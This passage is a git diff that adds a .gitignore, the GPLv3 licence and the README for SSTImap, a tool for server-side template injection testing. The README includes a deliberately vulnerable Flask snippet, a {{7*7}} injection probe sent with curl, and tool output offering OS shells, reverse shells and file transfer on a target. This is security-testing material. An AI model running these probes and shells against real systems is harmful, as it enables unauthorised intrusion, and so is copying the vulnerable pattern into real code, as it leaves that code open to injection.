diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..bf3b2c8
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,54 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+bin/
+build/
+develop-eggs/
+dist/
+eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+.tox/
+.coverage
+.cache
+nosetests.xml
+coverage.xml
+
+# Translations
+*.mo
+
+# OsX
+.DS_Store
+
+# Npm local modules
+node_modules
+
+# Jython
+*.class
+
+# Vim
+# swap
+.sw[a-p]
+.*.sw[a-p]
+# tags
+tags
+.idea/
diff --git a/LICENSE.md b/LICENSE.md
new file mode 100644
index 0000000..9cecc1d
--- /dev/null
+++ b/LICENSE.md
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ {one line to give the program's name and a brief idea of what it does.}
+ Copyright (C) {year} {name of author}
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ {project} Copyright (C) {year} {fullname}
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..14990c3
--- /dev/null
+++ b/README.md
@@ -0,0 +1,276 @@
+SSTImap
+======
+
+[![Version 1.0](https://img.shields.io/badge/version-1.0-green.svg?logo=github)](https://github.com/vladko312/sstimap)
+[![Python 3.10](https://img.shields.io/badge/python-3.10-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3100/)
+[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
+[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
+[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
+[![Maintenance](https://img.shields.io/maintenance/yes/2022?logo=github)](https://github.com/vladko312/sstimap)
+
+> This project is based on [Tplmap](https://github.com/epinna/tplmap/).
+
+SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.
+
+This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.
+
+Sandbox break-out techniques came from:
+- James Kett's [Server-Side Template Injection: RCE For The Modern Web App][5]
+- Other public researches [\[1\]][1] [\[2\]][2]
+- Contributions to Tplmap [\[3\]][3] [\[4\]][4].
+
+This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports _eval()_-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.
+
+Differences with Tplmap
+-----------------------
+
+Even though this software is based on Tplmap's code, backwards compatibility is not provided.
+- Interactive mode (`-i`) allowing for easier exploitation and detection
+- Base language _eval()_-like shell (`-x`) or single command (`-X`) execution
+- Added new payload for _Smarty_ without enabled `{php}{/php}`. Old payload is availible as `Smarty_unsecure`.
+- User-Agent can be randomly selected from a list of desktop browser agents using `-A`
+- SSL verification can now be enabled using `-V`
+- Short versions added to all arguments
+- Some old command line arguments were changed, check `-h` for help
+- Code is changed to use newer python features
+- Burp Suite extension temporarily removed, as _Jython_ doesn't support Python3
+
+Server-Side Template Injection
+------------------------------
+
+This is an example of a simple website written in Python using [Flask][6] framework and [Jinja2][7] template engine. It integrates user-supplied variable `name` in an unsafe way, as it is cincatenated to the template string before rendering.
+
+```python3
+from flask import Flask, request, render_template_string
+import os
+
+app = Flask(__name__)
+
+@app.route("/page")
+def page():
+ name = request.args.get('name', 'World')
+ # SSTI VULNERABILITY:
+ template = f"Hello, {name}!
\n" \
+ "OS type: {{os}}"
+ return render_template_string(template, os=os.name)
+
+if __name__ == "__main__":
+ app.run(host='0.0.0.0', port=80)
+```
+
+Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.
+
+```
+$ curl -g 'https://www.target.com/page?name=John'
+Hello John!
+OS type: posix
+$ curl -g 'https://www.target.com/page?name={{7*7}}'
+Hello 49!
+OS type: posix
+```
+
+User-supplied input should be introduced in a safe way through rendering context:
+
+```python3
+from flask import Flask, request, render_template_string
+import os
+
+app = Flask(__name__)
+
+@app.route("/page")
+def page():
+ name = request.args.get('name', 'World')
+ template = "Hello, {{name}}!
\n" \
+ "OS type: {{os}}"
+ return render_template_string(template, name=name, os=os.name)
+
+if __name__ == "__main__":
+ app.run(host='0.0.0.0', port=80)
+```
+
+Predetermined mode
+------------------
+
+SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.
+
+After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.
+
+To check the URL, you can use `-u` argument:
+
+```
+$ ./sstimap.py -u https://example.com/page?name=John
+
+ ╔══════╦══════╦═══════╗ ▀█▀
+ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
+ ║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
+ ╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
+ ╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
+ ╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
+ │ | |
+ |_|
+[*] Version: 1.0
+[*] Author: @vladko312
+[*] Based on Tplmap
+[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
+It is the end user's responsibility to obey all applicable local, state and federal laws.
+Developers assume no liability and are not responsible for any misuse or damage caused by this program
+
+
+[*] Testing if GET parameter 'name' is injectable
+[*] Smarty plugin is testing rendering with tag '*'
+...
+[*] Jinja2 plugin is testing rendering with tag '{{*}}'
+[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
+[+] SSTImap identified the following injection point:
+
+ GET parameter: name
+ Engine: Jinja2
+ Injection: {{*}}
+ Context: text
+ OS: posix-linux
+ Technique: render
+ Capabilities:
+
+ Shell command execution: ok
+ Bind and reverse shell: ok
+ File write: ok
+ File read: ok
+ Code evaluation: ok, python code
+
+[+] Rerun SSTImap providing one of the following options:
+ --os-shell Prompt for an interactive operating system shell
+ --os-cmd Execute an operating system command.
+ --eval-shell Prompt for an interactive shell on the template engine base language.
+ --eval-cmd Evaluate code in the template engine base language.
+ --tpl-shell Prompt for an interactive shell on the template engine.
+ --tpl-cmd Inject code in the template engine.
+ --bind-shell PORT Connect to a shell bind to a target port
+ --reverse-shell HOST PORT Send a shell back to the attacker's port
+ --upload LOCAL REMOTE Upload files to the server
+ --download REMOTE LOCAL Download remote files
+```
+
+Use `--os-shell` option to launch a pseudo-terminal on the target.
+
+```
+$ ./sstimap.py -u https://example.com/page?name=John --os-shell
+
+ ╔══════╦══════╦═══════╗ ▀█▀
+ ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
